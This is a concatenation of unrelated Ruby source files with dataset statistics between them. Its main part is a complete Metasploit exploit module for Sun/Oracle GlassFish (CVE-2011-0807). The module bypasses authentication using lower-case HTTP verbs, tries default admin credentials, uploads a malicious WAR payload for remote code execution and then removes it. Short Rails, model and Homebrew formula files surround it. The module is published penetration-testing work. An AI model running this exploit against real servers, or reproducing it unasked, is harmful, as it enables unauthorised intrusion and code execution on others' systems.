script/performance script/process test/fixtures test/functional test/integration test/mocks/development test/mocks/test test/unit vendor vendor/plugins tmp/sessions tmp/sockets tmp/cache tmp/pids ) MYSQL_SOCKET_LOCATIONS = [ "/tmp/mysql.sock", # default "/var/run/mysqld/mysqld.sock", # debian/gentoo "/var/tmp/mysql.sock", # freebsd "/var/lib/mysql/mysql.sock", # fedora "/opt/local/lib/mysql/mysql.sock", # fedora "/opt/local/var/run/mysqld/mysqld.sock", # mac + darwinports + mysql "/opt/local/var/run/mysql4/mysqld.sock", # mac + darwinports + mysql4 "/opt/local/var/run/mysql5/mysqld.sock", # mac + darwinports + mysql5 "/opt/lampp/var/mysql/mysql.sock" # xampp for linux ] end
37.661111
192
0.64449
019a7a79b62b07006aae1d54059623524186a348
28,810
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'nokogiri' require 'metasploit/framework/login_scanner/glassfish' require 'metasploit/framework/credential_collection' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, 'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution", 'Description' => %q{ This module logs in to a GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), and deploys a malicious war file in order to get remote code execution. It has been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer GlassFish versions do not allow remote access (Secure Admin) by default, but is required for exploitation. }, 'License' => MSF_LICENSE, 'Author' => [ 'juan vazquez', # Msf module for Glassfish 3.0 'Joshua Abraham <jabra[at]rapid7.com>', # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1 'sinn3r' # Rewrite for everything ], 'References' => [ ['CVE', '2011-0807'], ['OSVDB', '71948'] ], 'Platform' => ['win', 'linux', 'java'], 'Targets' => [ [ 'Automatic', { } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DisclosureDate' => "Aug 4 2011", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(4848), OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']), OptString.new('USERNAME', [ true, 'The username to authenticate as','admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]), OptString.new('TARGETURI', [ true, "The URI path of the GlassFish Server", '/']), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]) ]) end # # Send GET or POST request, and return the response # def send_glassfish_request(path, method, session='', data=nil, ctype=nil) headers = {} headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank? headers['Content-Type'] = ctype if ctype headers['Connection'] = 'keep-alive' headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' headers['Accept-Language'] = 'en-US,en;q=0.5' headers['Accept-Encoding'] = 'gzip, deflate, br' res = send_request_raw({ 'uri' => path, 'method' => method, 'data' => data, 'headers' => headers, }) unless res fail_with(Failure::Unknown, 'Connection timed out') end res end # # Return target # def auto_target(session, res, version) print_status("Attempting to automatically select a target...") res = query_serverinfo(session, version) return nil unless res return nil unless res.body plat = detect_platform(res.body) arch = detect_arch(res.body) # No arch or platform found? return nil if !arch || !plat # see if we have a match targets.each do |t| return t if (t['Platform'] == plat) && (t['Arch'] == arch) end # no matching target found nil end # # Return platform (win, linux, or osx) # def detect_platform(body) body.each_line do |ln| ln.chomp! case ln when /os\.name = (.*)/ os = $1 case os when /Windows/ return 'win' when /Linux/ return 'linux' when /Mac OS X/ return 'osx' end end end return 'java' end # # Return ARCH # def detect_arch(body) body.each_line do |ln| ln.chomp! case ln when /os\.arch = (.*)/ ar = $1 case ar when 'x86', 'i386', 'i686' return ARCH_X86 when 'x86_64', 'amd64' return ARCH_X64 end end end end # # Return server information # def query_serverinfo(session,version) res = '' if version == '2.x' || version == '9.x' path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report" res = send_glassfish_request(path, @verbs['GET'], session) else path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report" res = send_glassfish_request(path, @verbs['GET'], session) if !res || res.code != 200 || res.body.to_s !~ /Operating System Information/ path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server" res = send_glassfish_request(path, @verbs['GET'], session) end end if !res || res.code != 200 print_error("Failed: Error requesting #{path}") return nil end res end # # Return viewstate and entry before deleting a GlassFish application # def get_delete_info(session, version, app='') if version == '2.x' || version == '9.x' path = '/applications/webApplications.jsf' res = send_glassfish_request(path, @verbs['GET'], session) if !res || res.code != 200 print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end input_id = "javax.faces.ViewState" p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/ viewstate = res.body.scan(p)[0][0] entry = nil p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/ results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end else path = '/common/applications/applications.jsf?bare=true' res = send_glassfish_request(path, @verbs['GET'], session) if !res || res.code != 200 print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end viewstate = get_viewstate(res.body) entry = nil p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/ results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end end if !viewstate print_error("Failed: Error getting ViewState") return nil elsif !entry print_error("Failed: Error getting the entry to delete") end return viewstate, entry end # # Send an "undeploy" request to Glassfish and remove our backdoor # def undeploy(viewstate, session, entry) #Send undeployment request data = [ "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false", "&#{Rex::Text.uri_encode(entry)}=true", "&propertyForm%3AhelpKey=ref-applications.html", "&propertyForm_hidden=propertyForm_hidden", "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}", "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.execute=%40all", "&javax.faces.partial.render=%40all", "&bare=true", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.ajax=true" ].join() path = '/common/applications/applications.jsf' ctype = 'application/x-www-form-urlencoded' res = send_glassfish_request(path, @verbs['POST'], session, data, ctype) if !res print_error("Undeployment failed on #{path} - No Response") else if res.code < 200 || res.code >= 300 print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}") end end end def report_glassfish_version(banner) report_note( host: rhost, type: 'glassfish.banner', data: banner, update: :unique_data ) end # # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and # banner (ex: Sun Java System Application Server 9.x) # def get_version(res) # Extract banner from response banner = res.headers['Server'] # Default value for edition and glassfish version edition = 'Commercial' version = 'Unknown' # Set edition (Open Source or Commercial) p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ edition = 'Open Source' if banner =~ p # Set version. Some GlassFish servers return banner "GlassFish v3". if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/ version = $2 elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown' version = $1 elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown' version = '2.x' elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown' version = '9.x' end if version == nil || version == 'Unknown' print_status("Unsupported version: #{banner}") end report_glassfish_version(banner) return edition, version, banner end # # Return the formatted version of the POST data # def format_2_x_war(boundary,name,value=nil, war=nil) data = '' data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" return data end # # Return the formatted version of the POST data # def format(boundary,name,value=nil, war=nil) data = '' if war data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" else data << boundary data << "\r\nContent-Disposition: form-data; name=\"#{name}\"" data << "\r\n\r\n" data << "#{value}\r\n" end return data end # # Return POST data and data length, based on GlassFish edition # def get_upload_data(opts = {}) boundary = opts[:boundary] version = opts[:version] war = opts[:war] app_base = opts[:app_base] typefield = opts[:typefield] status_checkbox = opts[:status_checkbox] start = opts[:start] viewstate = opts[:viewstate] data = '' if version == '3.0' uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadparam_data = "form:sheet1:section1:prop1:fileupload" boundary = "--#{boundary}" data = [ format(boundary, app_base, nil, war), format(boundary, uploadParam_name, uploadparam_data), format(boundary, "form:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:sheet1:section1:prop1:action", "client"), format(boundary, typefield, "war"), format(boundary, "form:war:psection:cxp:ctx", app_base), format(boundary, "form:war:psection:nameProp:appName", app_base), format(boundary, "form:war:psection:vsProp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:war:psection:librariesProp:library", ""), format(boundary, "form:war:psection:descriptionProp:description", ""), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), "#{boundary}--" ].join() elsif version == '2.x' || version == '9.x' uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_data = "form:title:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = 'form:title:topButtons:uploadButton' boundary = "-----------------------------#{boundary}" data = [ format_2_x_war(boundary, app_base, nil, war), format(boundary, "form:title:sheet1:section1:type:appType", "webApp"), format(boundary, "uploadRdBtn", "client"), format(boundary, uploadParam_name, uploadParam_data), format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:title:ps:psec:nameProp:appName", app_base), format(boundary, "form:title:ps:psec:cxp:ctx", app_base), format(boundary, "form:title:ps:psec:vsp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:title:ps:psec:librariesProp:library", ""), format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""), format(boundary, "form:title:ps:psec:registryProp:registryType", ""), format(boundary, "form:title:ps:psec:descriptionProp:description", ""), format(boundary, "form:helpKey", "uploaddev.html"), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), format(boundary, focusElementId_name, focusElementId_data), "#{boundary}--" ].join() else boundary = "-----------------------------#{boundary}" #Setup dynamic arguments num1 = start.to_i num2 = num1 + 14 num3 = num2 + 2 num4 = num3 + 2 num5 = num4 + 2 num6 = num5 + 2 num7 = num6 + 1 id0 = num4 id1 = num4 + 1 id2 = num4 + 2 id3 = num4 + 3 id4 = num4 + 4 id5 = num4 + 5 id6 = num4 + 6 id7 = num4 + 7 id8 = num4 + 8 id9 = num4 + 9 uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_value = "form:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = "form:title2:bottomButtons:uploadButton" data = [ format(boundary,"uploadRdBtn","client"), ## web service format(boundary, app_base, nil, war), ## sheet1 format(boundary, uploadParam_name, uploadParam_value), format(boundary,"form:sheet1:section1:prop1:extension",".war"), format(boundary,"form:sheet1:section1:prop1:action","client"), format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"), format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"), format(boundary,"form:appClient:psection:descriptionProp:description"), ## war format(boundary,"form:war:psection:cxp:ctx","#{app_base}"), format(boundary,"form:war:psection:nameProp:appName","#{app_base}"), format(boundary,"form:war:psection:vsProp:vs"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"), format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"), format(boundary,"form:other:psection:descriptionProp:description", ""), format(boundary,"form:other:psection:librariesProp:library", ""), format(boundary,"form:other:psection:deploymentOrder:deploymentOrder", ""), format(boundary,"form:other:psection:implicitCdi:implicitCdi", "true"), format(boundary,"form:other:psection:enableProp:sun_checkbox44","true"), format(boundary,"form:war:psection:enableProp:sun_checkbox42","true"), format(boundary,"form:other:psection:vsProp:vs",""), format(boundary,"form:rar:psection:implicitCdi:implicitCdi","true"), format(boundary,"form:rar:psection:deploymentOrder:deploymentOrder",""), format(boundary,"form:rar:psection:enableProp:sun_checkbox40","true"), format(boundary,"form:other:psection:nameProp:appName", app_base), format(boundary,"form:rar:psection:nameProp:appName", app_base), format(boundary,"form:jar:psection:nameProp:appName", app_base), format(boundary,"form:ear:psection:nameProp:appName", app_base), format(boundary,"form:ear:psection:descriptionProp:description",""), format(boundary,"form:jar:psection:deploymentOrder:deploymentOrder", ""), format(boundary,"form:jar:psection:implicitCdi:implicitCdi","true"), format(boundary,"form:ear:psection:jw:jwc","true"), format(boundary,"form:ear:psection:vsProp:vs",""), format(boundary,"form:appClient:psection:deploymentOrder:deploymentOrder",""), format(boundary,"form:jar:psection:enableProp:sun_checkbox38","true"), format(boundary,"form:jar:psection:descriptionProp:description", ""), format(boundary,"form:ear:psection:implicitCdi:implicitCdi","true"), format(boundary,"form:appClient:psection:implicitCdi:implicitCdi","true"), format(boundary,"form:ear:psection:enableProp:sun_checkbox36","true"), format(boundary,"form:war:psection:deploymentOrder:deploymentOrder",""), format(boundary,"form:jar:psection:librariesProp:library",""), format(boundary,"form:appClient:psection:jw:jwt","true"), format(boundary,"form:ear:psection:librariesProp:library", ""), format(boundary,"form:sheet1:sun_propertySheetSection23:type:appType","war"), format(boundary,"form:ear:psection:deploymentOrder:deploymentOrder",""), format(boundary,"form:rar:psection:descriptionProp:description",""), format(boundary,"form:war:psection:implicitCdi:implicitCdi","true"), format(boundary,"form:war:psection:librariesProp:library"), format(boundary,"form:war:psection:descriptionProp:description"), format(boundary,"form_hidden","form_hidden"), format(boundary,"javax.faces.ViewState","#{viewstate}"), format(boundary, focusElementId_name, focusElementId_data) ].join() item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list" item_list_data = "|server|com.sun.webui.jsf.separator|" item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value" item_value_data = "server" data << format(boundary, item_list_name, item_list_data) data << format(boundary, item_value_name, item_value_data) data << "#{boundary}--" data << "\r\n\r\n" end return data end def get_viewstate(body) noko = Nokogiri::HTML(body) inputs = noko.search('input') hidden_inputs = [] inputs.each {|e| hidden_inputs << e if e.attributes['type'].text == 'hidden'} hidden_inputs.each do |e| if e.attributes['name'].text == 'javax.faces.ViewState' return e.attributes['value'].text end end '' end # # Upload our payload, and execute it. This function will also try to automatically # clean up after itself. # def upload_exec(opts = {}) session = opts[:session] app_base = opts[:app_base] jsp_name = opts[:jsp_name] war = opts[:war] edition = opts[:edition] version = opts[:version] if version == '2.x' || version == '9.x' path = "/applications/upload.jsf?appType=webApp" res = send_glassfish_request(path, @verbs['GET'], session) # Obtain some properties p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi viewstate = get_viewstate(res.body) status_checkbox = res.body.scan(p2)[0][0] boundary = rand_text_alphanumeric(28) else path = "/common/applications/uploadFrame.jsf" res = send_glassfish_request(path, @verbs['GET'], session) # Obtain some properties res.body =~ /propertySheetSection(\d{3})/ start = $1 p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/ p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/ rnd_text = rand_text_alphanumeric(29) viewstate = get_viewstate(res.body) typefield = res.body.scan(p2)[0][0] status_checkbox = res.body.scan(p3)[0][0] boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text end # Get upload data if version == '3.0' ctype = "multipart/form-data; boundary=#{boundary}" elsif version == '2.x' || version == '9.x' ctype = "multipart/form-data; boundary=---------------------------#{boundary}" typefield = '' start = '' else ctype = "multipart/form-data; boundary=---------------------------#{boundary}" end post_data = get_upload_data({ :boundary => boundary, :version => version, :war => war, :app_base => app_base, :typefield => typefield, :status_checkbox => status_checkbox, :start => start, :viewstate => viewstate }) # Upload our payload if version == '2.x' || version == '9.x' path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20' else path = '/common/applications/uploadFrame.jsf?' path << 'form:title:topButtons:uploadButton=Processing...' path << '&bare=false' end res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype) # Print upload result if res && res.code == 302 print_good("Successfully Uploaded") else print_error("Error uploading #{res.code}") return end #Execute our payload using the application interface (no need to use auth bypass technique) jsp_path = normalize_uri(target_uri.path, app_base, "#{jsp_name}.jsp") nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'], { 'Msf' => framework, 'MsfExploit' => self, } ) print_status("Executing #{jsp_path}...") req = nclient.request_raw({ 'uri' => jsp_path, 'method' => 'GET', }) if req res = nclient.send_recv(req, 90) else print_status("Error: #{rhost} did not respond on #{app_rport}.") end # Sleep for a bit before cleanup select(nil, nil, nil, 5) # Start undeploying print_status("Getting information to undeploy...") viewstate, entry = get_delete_info(session, version, app_base) if !viewstate fail_with(Failure::Unknown, "Unable to get viewstate") elsif (not entry) fail_with(Failure::Unknown, "Unable to get entry") end print_status("Undeploying #{app_base}...") undeploy(viewstate, session, entry) print_status("Undeployment complete.") end def init_loginscanner @cred_collection = Metasploit::Framework::CredentialCollection.new @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( configure_http_login_scanner( cred_details: @cred_collection, connection_timeout: 5, http_username: datastore['HttpUsername'], http_password: datastore['HttpPassword'] ) ) end def report_auth_bypass(version) report_vuln( name: 'GlassFish HTTP Method Authentication Bypass', info: "The remote service has a vulnerable version of GlassFish (#{version}) that allows the " \ 'attacker to bypass authentication by sending an HTTP verb in lower-case.', host: rhost, port: rport, proto: 'tcp', refs: self.references ) end def try_glassfish_auth_bypass(version) sid = nil if version == '2.x' || version == '9.x' print_status("Trying auth bypass...") res = send_glassfish_request('/applications/upload.jsf', 'get') title = '<title>Deploy Enterprise Applications/Modules</title>' if res && res.code.to_i == 200 && res.body.include?(title) sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first end else # 3.0 print_status("Trying auth bypass...") res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get') title = '<title>Deploy Applications or Modules' if res && res.code.to_i == 200 && res.body.include?(title) sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first end end report_auth_bypass(version) if sid sid end def my_target_host "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}" end def service_details super.merge({ post_reference_name: self.refname }) end def try_normal_login(version) init_loginscanner case version when /2\.x|9\.x/ @cred_collection.prepend_cred( Metasploit::Framework::Credential.new( public: 'admin', private: 'adminadmin', private_type: :password )) when /^3\./ @cred_collection.prepend_cred( Metasploit::Framework::Credential.new( public: 'admin', private: '', private_type: :password )) end @cred_collection.prepend_cred( Metasploit::Framework::Credential.new( public: datastore['USERNAME'], private: datastore['PASSWORD'], private_type: :password )) @scanner.send_request({'uri'=>normalize_uri(target_uri.path)}) @scanner.version = version @cred_collection.each do |raw| cred = raw.to_credential print_status("Trying to login as #{cred.public}:#{cred.private}") result = @scanner.attempt_login(cred) if result.status == Metasploit::Model::Login::Status::SUCCESSFUL store_valid_credential(user: cred.public, private: cred.private) # changes service_name to http || https return @scanner.jsession end end nil end def attempt_login(version) sid = nil if version =~ /3\.0|2\.x|9\.x/ sid = try_glassfish_auth_bypass(version) return sid if sid end try_normal_login(version) end def make_war(selected_target) p = exploit_regenerate_payload(selected_target.platform, selected_target.arch) jsp_name = rand_text_alphanumeric(4+rand(32-4)) app_base = rand_text_alphanumeric(4+rand(32-4)) war = p.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, :arch => selected_target.arch, :platform => selected_target.platform }).to_s return app_base, jsp_name, war end def exploit # Invoke index to gather some info res = send_glassfish_request('/common/index.jsf', 'GET') if res.code == 302 res = send_glassfish_request('/login.jsf', 'GET') end # Get GlassFish version edition, version, banner = get_version(res) print_status("Glassfish edition: #{banner}") # Set HTTP verbs. Lower-case is used to bypass auth on v3.0 @verbs = { 'GET' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET', 'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST', } sid = attempt_login(version) unless sid fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate") end selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target app_base, jsp_name, war = make_war(selected_target) print_status("Uploading payload...") res = upload_exec({ :session => sid, :app_base => app_base, :jsp_name => jsp_name, :war => war, :edition => edition, :version => version }) end end
34.42055
119
0.633842
edae45c1ae2e0f9d20a8d2f4378e4fa780e5797f
800
class Vote < ActiveRecord::Base belongs_to :user belongs_to :solution before_save do |vote| check_status(vote.solution.idea.status,'app.error.vote.voting') end before_destroy do |vote| check_status(vote.solution.idea.status,'app.error.vote.voting') end after_save do |vote| Solution.update_points(vote.solution_id) Idea.update_solutions_points(vote.solution.idea_id) end after_destroy do |vote| Solution.update_points(vote.solution_id) Idea.update_solutions_points(vote.solution.idea_id) end after_create do |vote| User.update_points(vote.user_id,USER_VOTE_POINTS) end private def check_status(status,error) if status != IDEA_STATUS_REVIEWED_SUCCESS errors.add(:base,I18n.t(error)) return false end end end
22.857143
67
0.7325
9116a4b165a8b3c12e96f93e3ae9b493d52dcfd5
1,228
class SpatialiteTools < Formula desc "CLI tools supporting SpatiaLite" homepage "https://www.gaia-gis.it/fossil/spatialite-tools/index" url "https://www.gaia-gis.it/gaia-sins/spatialite-tools-sources/spatialite-tools-4.3.0.tar.gz" sha256 "f739859bc04f38735591be2f75009b98a2359033675ae310dffc3114a17ccf89" revision 1 bottle do cellar :any sha256 "7d142fa854f6a2ac72ac71fff9e49f7b38aa1159c252ebcffcc2d6eb47bf1f4c" => :sierra sha256 "f0bf05a064a003257ca3a1383987e0808ee363a10b3c0f08f7f66bc6e9623c66" => :el_capitan sha256 "71ba0471df80b0da6c9b449e5ad1ec47e437518163d8ff9f0039c801699f39ee" => :yosemite end depends_on "pkg-config" => :build depends_on "libspatialite" depends_on "readosm" def install # See: https://github.com/Homebrew/homebrew/issues/3328 ENV.append "LDFLAGS", "-liconv" # Ensure Homebrew SQLite is found before system SQLite. sqlite = Formula["sqlite"] ENV.append "LDFLAGS", "-L#{sqlite.opt_lib}" ENV.append "CFLAGS", "-I#{sqlite.opt_include}" system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make", "install" end test do system bin/"spatialite", "--version" end end
34.111111
96
0.726384